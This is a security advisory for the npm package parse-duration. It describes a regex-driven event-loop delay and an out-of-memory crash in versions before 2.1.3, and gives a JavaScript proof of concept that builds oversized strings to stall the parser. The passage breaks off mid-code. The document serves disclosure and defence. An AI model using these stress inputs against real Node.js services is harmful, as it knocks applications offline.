parse-duraton is software that allows users to convert a human readable duration to milliseconds. Versions prior to 2.1.3 are vulnerable to an event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively, and an out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters. Version 2.1.3 contains a patch.

Affected: npm: parse-duration

### Summary

This report finds 2 availability issues due to the regex used in the `parse-duration` npm package: 1. An event loop delay due to the CPU-bound operation of resolving the provided string, from a 0.5ms and up to ~50ms per one operation, with a varying size from 0.01 MB and up to 4.3 MB respectively. 2. An out of memory that would crash a running Node.js application due to a string size of roughly 10 MB that utilizes unicode characters.

### PoC

Refer to the following proof of concept code that provides a test case and makes use of the regular expression in the library as its test case to match against strings:

```js // Vulnerable regex to use from the library: import parse from './index.js'

function generateStressTestString(length, decimalProbability) { let result = ""; for (let i = 0; i < length; i++) { if (Math.random() < decimalProbability) { result += "....".repeat(99); } result += Math.floor(Math.random() * 10); } return result; }

function getStringSizeInMB_UTF8(str) { const sizeInBytes = Buffer.byteLength(str, 'utf8'); const sizeInMB = sizeInBytes / (1024 * 1024); return sizeInMB; }

// Generate test strings with varying length and decimal probability: const longString1 = generateStressTestString(380, 0.05); const longString2 = generateStressTestString(10000, 0.9); const longString3 = generateStressTestString(500000, 1); const longStringVar1 = '-1e' + '-----'.repeat(915000) const longStringVar2 = "1" + "0".repeat(500) + "…